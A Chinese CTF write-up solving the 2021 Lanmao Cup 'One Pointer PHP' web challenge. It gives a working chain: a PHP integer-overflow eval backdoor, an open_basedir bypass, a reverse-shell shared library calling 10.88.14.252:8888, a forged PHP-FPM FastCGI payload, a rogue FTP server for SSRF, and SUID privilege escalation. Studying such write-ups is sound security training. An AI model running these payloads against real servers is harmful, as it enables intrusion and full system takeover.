蓝帽杯2021-One-Pointer-PHP 参考文章:
PHP-FPM rce攻击 https://zhuanlan.zhihu.com/p/84408404
蓝帽杯2021 One Pointer PHP: https://blog.csdn.net/qq_45619909/article/details/121484875
下载附件web.zip,解压后有两个文件,分别是user.php、add_api.php
user.php:
1 2 3 4 5 <?php class User { public $count ; }?>
add_api.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include "user.php" ;if ($user =unserialize ($_COOKIE ["data" ])){ $count [++$user ->count]=1 ; if ($count []=1 ){ $user ->count+=1 ; setcookie ("data" ,serialize ($user )); }else { eval ($_GET ["backdoor" ]); } }else { $user =new User ; $user ->count=1 ; setcookie ("data" ,serialize ($user )); }?>
整数溢出 add_api.php包含user.php,并且将Cookie里的data反序列化为user对象,将user对象,将user对象,将user里的count值+1作为count的下标,并给此元素赋值为1。 随后,进行if语句判断,count[]=1的意思就是给此数组末尾添加一个元素,值为1。
这里我们先将count赋值为最大值-1 的数字,那么经历自增后,count即为最大值,
然后再进行$count[]=1操作,由于数组已经达到最大值了,数组末尾无法添加元素,所以此操作出错,执行else语句。
我们便可以RCE。不同的操作系统PHP最大值是不一样的,32位上为2147483647,64位上为9223372036854775807,所以这里我们应该设置count为9223372036854775806
在本地测试一下:
1 2 3 4 5 6 7 8 9 10 <?php $n = 9223372036854775806 ;$a [++$n ] = 1 ;if ($a []=1 ) echo "yes" ;else echo "no" ;?>
输出结果:
1 2 3 4 5 E:\CTF\phpstudy\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe E:\CTF\newphp\test2.php PHP Warning: Cannot add element to the array as the next element is already occupied in E:\CTF\newphp\test2.php on line 5 Warning: Cannot add element to the array as the next element is already occupied in E:\CTF\newphp\test2.php on line 5 no
成功执行else语句
构造序列化字符串
1 2 3 4 5 6 7 8 9 10 <?php class User { public $count =9223372036854775806 ; } echo urlencode (serialize (new User ));?>
然后getshell
1 2 3 4 5 6 ?backdoor=eval ($_POST[1 ]); post:1 =phpinfo(); Cookie:data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
Bypass open_basedir 查看phpinfo
然后查看disable_functions
禁用了很多方法和类
然后发现对open_basedir做出了限制,用蚁剑连接webshell,注意除了url和密码以外还要在请求信息里添加Cookie
1 open_basedir /var /www/html /var /www/html
用蚁剑绕过open_basedir
或者手动绕过
1 /add_api.php?backdoor=mkdir ('temp' );chdir ('temp' );ini_set('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set('open_basedir' ,'/' );print_r(scandir('/' ));
然后发现根目录有flag但是没法输出,所以应该要提权
发现PHP-FPM服务
猜测是要打FPM,FPM拓展就是一个处理解析php-fastcgi数据的应用拓展
但是我们并不知道fpm监听的命令端口是什么, 所以读取/proc/self中的文件查看一下当前进程的信息
/proc/self下的一些文件
1 2 3 4 5 6 7 8 9 10 11 12 13 1. cmdline(文件) cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令 我们可以使用爆破file_get_contents('/proc /§§/cmdline');的方法得到全部当前执行的程序 2.cwd(目录软链接) cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录(就是一个目录的软链接) 3.exe(当前进程的可执行文件) exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径 4.environ(文件) environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息: 5.fd fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容 6.maps(文件) /proc /meminfo可以看到整个系统内存消耗情况,基于里面信息能大概判断泄露的内存的属性,是哪个区域在泄漏、对应哪个文件。辅助工具procmem输出更可读的maps信息
/proc/self/maps
到运行了php-fpm外还有一个easy_bypass.so文件
或者查看/usr/local/etc/php/php.ini
在输出中我们可以看到extension=easy_bypass.so这是加载了异常so文件
在这里看到了include /etc/nginx/sites-enabled/*;,那直接去读nginx的默认配置
1 /etc/ nginx/sites-enabled/ default
发现开着FastCGI服务,所以可以确定是未授权打FPM RCE
nginx通过fastcgi协议与php-fpm通信。那么理论上,我们可以伪造fastcgi协议包,欺骗php-fpm进程,从而执行任意代码
编写so拓展 反弹shell的so
evilso.c
1 2 3 4 5 6 7 8 9 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system ("bash -c 'bash -i >& /dev/tcp/10.88.14.252/8888 0>&1'" ); }
编译:gcc evilso.c -fPIC -shared -o evilso.so,使用Linux编译并上传至站点目录
编写文件处理 写一个接收文件的php文件
file.php
1 2 3 4 5 6 <?php $file = $_GET ['file' ] ?? '/tmp/file' ; $data = $_GET ['data' ] ?? ':)' ; echo ($file ."</br>" .$data ."</br>" ); var_dump (file_put_contents ($file , $data ));?>
然后也上传到网站根目录下
伪造恶意FastCGI请求 伪造请求的代码,修改几个配置、路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 <?php class FCGIClient { const VERSION_1 = 1 ; const BEGIN_REQUEST = 1 ; const ABORT_REQUEST = 2 ; const END_REQUEST = 3 ; const PARAMS = 4 ; const STDIN = 5 ; const STDOUT = 6 ; const STDERR = 7 ; const DATA = 8 ; const GET_VALUES = 9 ; const GET_VALUES_RESULT = 10 ; const UNKNOWN_TYPE = 11 ; const MAXTYPE = self ::UNKNOWN_TYPE ; const RESPONDER = 1 ; const AUTHORIZER = 2 ; const FILTER = 3 ; const REQUEST_COMPLETE = 0 ; const CANT_MPX_CONN = 1 ; const OVERLOADED = 2 ; const UNKNOWN_ROLE = 3 ; const MAX_CONNS = 'MAX_CONNS' ; const MAX_REQS = 'MAX_REQS' ; const MPXS_CONNS = 'MPXS_CONNS' ; const HEADER_LEN = 8 ; private $_sock = null ; private $_host = null ; private $_port = null ; private $_keepAlive = false ; public function __construct ($host , $port = 9001 ) // and default value for port , just for unixdomain socket { $this ->_host = $host ; $this ->_port = $port ; } public function setKeepAlive ($b ) { $this ->_keepAlive = (boolean )$b ; if (!$this ->_keepAlive && $this ->_sock) { fclose ($this ->_sock); } } public function getKeepAlive ( ) { return $this ->_keepAlive; } private function connect ( ) { if (!$this ->_sock) { $this ->_sock = stream_socket_client ($this ->_host, $errno , $errstr , 5 ); if (!$this ->_sock) { throw new Exception ('Unable to connect to FastCGI application' ); } } } private function buildPacket ($type , $content , $requestId = 1 ) { $clen = strlen ($content ); return chr (self ::VERSION_1 ) . chr ($type ) . chr (($requestId >> 8 ) & 0xFF ) . chr ($requestId & 0xFF ) . chr (($clen >> 8 ) & 0xFF ) . chr ($clen & 0xFF ) . chr (0 ) . chr (0 ) . $content ; } private function buildNvpair ($name , $value ) { $nlen = strlen ($name ); $vlen = strlen ($value ); if ($nlen < 128 ) { $nvpair = chr ($nlen ); } else { $nvpair = chr (($nlen >> 24 ) | 0x80 ) . chr (($nlen >> 16 ) & 0xFF ) . chr (($nlen >> 8 ) & 0xFF ) . chr ($nlen & 0xFF ); } if ($vlen < 128 ) { $nvpair .= chr ($vlen ); } else { $nvpair .= chr (($vlen >> 24 ) | 0x80 ) . chr (($vlen >> 16 ) & 0xFF ) . chr (($vlen >> 8 ) & 0xFF ) . chr ($vlen & 0xFF ); } return $nvpair . $name . $value ; } private function readNvpair ($data , $length = null ) { $array = array (); if ($length === null ) { $length = strlen ($data ); } $p = 0 ; while ($p != $length ) { $nlen = ord ($data {$p ++}); if ($nlen >= 128 ) { $nlen = ($nlen & 0x7F << 24 ); $nlen |= (ord ($data {$p ++}) << 16 ); $nlen |= (ord ($data {$p ++}) << 8 ); $nlen |= (ord ($data {$p ++})); } $vlen = ord ($data {$p ++}); if ($vlen >= 128 ) { $vlen = ($nlen & 0x7F << 24 ); $vlen |= (ord ($data {$p ++}) << 16 ); $vlen |= (ord ($data {$p ++}) << 8 ); $vlen |= (ord ($data {$p ++})); } $array [substr ($data , $p , $nlen )] = substr ($data , $p +$nlen , $vlen ); $p += ($nlen + $vlen ); } return $array ; } private function decodePacketHeader ($data ) { $ret = array (); $ret ['version' ] = ord ($data {0 }); $ret ['type' ] = ord ($data {1 }); $ret ['requestId' ] = (ord ($data {2 }) << 8 ) + ord ($data {3 }); $ret ['contentLength' ] = (ord ($data {4 }) << 8 ) + ord ($data {5 }); $ret ['paddingLength' ] = ord ($data {6 }); $ret ['reserved' ] = ord ($data {7 }); return $ret ; } private function readPacket ( ) { if ($packet = fread ($this ->_sock, self ::HEADER_LEN )) { $resp = $this ->decodePacketHeader ($packet ); $resp ['content' ] = '' ; if ($resp ['contentLength' ]) { $len = $resp ['contentLength' ]; while ($len && $buf =fread ($this ->_sock, $len )) { $len -= strlen ($buf ); $resp ['content' ] .= $buf ; } } if ($resp ['paddingLength' ]) { $buf =fread ($this ->_sock, $resp ['paddingLength' ]); } return $resp ; } else { return false ; } } public function getValues (array $requestedInfo ) { $this ->connect (); $request = '' ; foreach ($requestedInfo as $info ) { $request .= $this ->buildNvpair ($info , '' ); } fwrite ($this ->_sock, $this ->buildPacket (self ::GET_VALUES , $request , 0 )); $resp = $this ->readPacket (); if ($resp ['type' ] == self ::GET_VALUES_RESULT ) { return $this ->readNvpair ($resp ['content' ], $resp ['length' ]); } else { throw new Exception ('Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request (array $params , $stdin ) { $response = '' ; $request = $this ->buildPacket (self ::BEGIN_REQUEST , chr (0 ) . chr (self ::RESPONDER ) . chr ((int ) $this ->_keepAlive) . str_repeat (chr (0 ), 5 )); $paramsRequest = '' ; foreach ($params as $key => $value ) { $paramsRequest .= $this ->buildNvpair ($key , $value ); } if ($paramsRequest ) { $request .= $this ->buildPacket (self ::PARAMS , $paramsRequest ); } $request .= $this ->buildPacket (self ::PARAMS , '' ); if ($stdin ) { $request .= $this ->buildPacket (self ::STDIN , $stdin ); } $request .= $this ->buildPacket (self ::STDIN , '' ); echo ('?file=ftp://ip:9999/&data=' .urlencode ($request )); } }?> <?php $filepath = "/var/www/html/add_api.php" ;$req = '/' .basename ($filepath );$uri = $req .'?' .'command=whoami' ;$client = new FCGIClient ("unix:///var/run/php-fpm.sock" , -1 );$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>" ; $php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = evilso.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = " ; $params = array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $filepath , 'SCRIPT_NAME' => $req , 'QUERY_STRING' => 'command=whoami' , 'REQUEST_URI' => $uri , 'DOCUMENT_URI' => $req , 'PHP_VALUE' => $php_value , 'SERVER_SOFTWARE' => 'ctfking/Tajang' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9001' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_LENGTH' => strlen ($code ) );echo $client ->request ($params , $code )."\n" ;?>
运行此文件,此文件输出的payload
1 ?file= ?file= ftp://ip:9999 /&data= %01 %01 %00 %01 %00 %08 %00 %00 %00 %01 %00 %00 %00 %00 %00 %00 %01 %04 %00 %01 %02 H%00 %00 %11 %0 BGATEWAY_INTERFACEFastCGI%2 F1.0 %0 E%04 REQUEST_METHODPOST%0 F%19 SCRIPT_FILENAME%2 Fvar%2 Fwww%2 Fhtml%2 Fadd_api.php%0 B%0 CSCRIPT_NAME%2 Fadd_api.php%0 C%0 EQUERY_STRINGcommand%3 Dwhoami%0 B%1 BREQUEST_URI%2 Fadd_api.php%3 Fcommand%3 Dwhoami%0 C%0 CDOCUMENT_URI%2 Fadd_api.php%09 %80 %00 %00 %BBPHP_VALUEunserialize_callback_func +%3 D+system%0 Aextension_dir+%3 D+%2 Fvar%2 Fwww%2 Fhtml%0 Aextension+%3 D+evilso.so%0 Adisable_classes+%3 D+%0 Adisable_functions+%3 D+%0 Aallow_url_include+%3 D+On%0 Aopen_basedir+%3 D+%2 F%0 Aauto_prepend_file+%3 D+%0 F%0 ESERVER_SOFTWAREctfking%2 FTajang%0 B%09 REMOTE_ADDR127.0 .0.1 %0 B%04 REMOTE_PORT9001 %0 B%09 SERVER_ADDR127.0 .0.1 %0 B%02 SERVER_PORT80 %0 B%09 SERVER_NAMElocalhost%0 F%08 SERVER_PROTOCOLHTTP%2 F1.1 %0 E%02 CONTENT_LENGTH49 %01 %04 %00 %01 %00 %00 %00 %00 %01 %05 %00 %01 %001 %00 %00 %3 C%3 Fphp+system%28 %24 _REQUEST%5 B%27 command%27 %5 D%29 %3 B+phpinfo%28 %29 %3 B+%3 F%3 E%01 %05 %00 %01 %00 %00 %00 %00
运行恶意FTP服务 在公网VPS上运行以下代码,注意云服务器需要打开防火墙里的端口,并且在有服务使用端口时才会开放端口,其他时候默认关闭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import socket s = socket .socket (socket .AF_INET, socket .SOCK_STREAM) s.bind(('0.0.0.0' , 9999 )) s.listen(1 ) conn, addr = s.accept() conn.send (b'220 welcome\n' ) conn.send (b'331 Please specify the password.\n' ) conn.send (b'230 Login successful.\n' ) conn.send (b'200 Switching to Binary mode.\n' ) conn.send (b'550 Could not get the file size.\n' ) conn.send (b'150 ok\n' ) conn.send (b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n' ) conn.send (b'150 Permission denied.\n' ) conn.send (b'221 Goodbye.\n' ) conn.close ()
这个恶意ftp服务就是使用9999端口
payload使用 vps运行恶意ftp程序,再开一个终端开启监听,再执行一遍payload
1 /file.php?file= ftp://10.88 .14.252 :9999 /&data= %01 %01 %00 %01 %00 %08 %00 %00 %00 %01 %00 %00 %00 %00 %00 %00 %01 %04 %00 %01 %02 H%00 %00 %11 %0 BGATEWAY_INTERFACEFastCGI%2 F1.0 %0 E%04 REQUEST_METHODPOST%0 F%19 SCRIPT_FILENAME%2 Fvar%2 Fwww%2 Fhtml%2 Fadd_api.php%0 B%0 CSCRIPT_NAME%2 Fadd_api.php%0 C%0 EQUERY_STRINGcommand%3 Dwhoami%0 B%1 BREQUEST_URI%2 Fadd_api.php%3 Fcommand%3 Dwhoami%0 C%0 CDOCUMENT_URI%2 Fadd_api.php%09 %80 %00 %00 %BBPHP_VALUEunserialize_callback_func +%3 D+system%0 Aextension_dir+%3 D+%2 Fvar%2 Fwww%2 Fhtml%0 Aextension+%3 D+evilso.so%0 Adisable_classes+%3 D+%0 Adisable_functions+%3 D+%0 Aallow_url_include+%3 D+On%0 Aopen_basedir+%3 D+%2 F%0 Aauto_prepend_file+%3 D+%0 F%0 ESERVER_SOFTWAREctfking%2 FTajang%0 B%09 REMOTE_ADDR127.0 .0.1 %0 B%04 REMOTE_PORT9001 %0 B%09 SERVER_ADDR127.0 .0.1 %0 B%02 SERVER_PORT80 %0 B%09 SERVER_NAMElocalhost%0 F%08 SERVER_PROTOCOLHTTP%2 F1.1 %0 E%02 CONTENT_LENGTH49 %01 %04 %00 %01 %00 %00 %00 %00 %01 %05 %00 %01 %001 %00 %00 %3 C%3 Fphp+system%28 %24 _REQUEST%5 B%27 command%27 %5 D%29 %3 B+phpinfo%28 %29 %3 B+%3 F%3 E%01 %05 %00 %01 %00 %00 %00 %00
成功反弹shell,因为没有权限的原因,所以我们仍然无法读取flag,这里我们需要提权,最常见的就是suid提权,使用find / -perm -u=s -type f 2>/dev/null查看具有suid权限的文件,这个要等一会才能出来。
发现
php就有权限,那么可以直接php -a进入交互模式,直接读取flag文件,注意不要直接读取flag,还是要绕过openbase_dir的,你可以上传一个php文件,直接运行,也可以在交互模式下绕过并读取,建议使用文件,方便点,我这里使用的交互模式
1 2 3 find / -perm -u=s -type f 2>/dev/null php -amkdir ('temp' );chdir ('temp' );ini_set('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set('open_basedir' ,'/' );echo file_get_contents('/flag' );
总结: 靶机通过ftp协议向FTP服务器发出请求连接成功后奖建立数据连接通道, 采用被动模式连接, 由FTP服务器(ftp.py)发送用于传输数据的(FTPIP:port)通道, 但是通道被指定为了127.0.0.1:9001所以数据发到了FPM服务中并被处理, 到这里就是SSRF了
然后通过构造符合PHP-FPM服务解析的fastgui数据, 然后PHP-FPM解析数据流并按照规则执行命令, 最终执行了system(‘evilso.so’)反弹shell
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。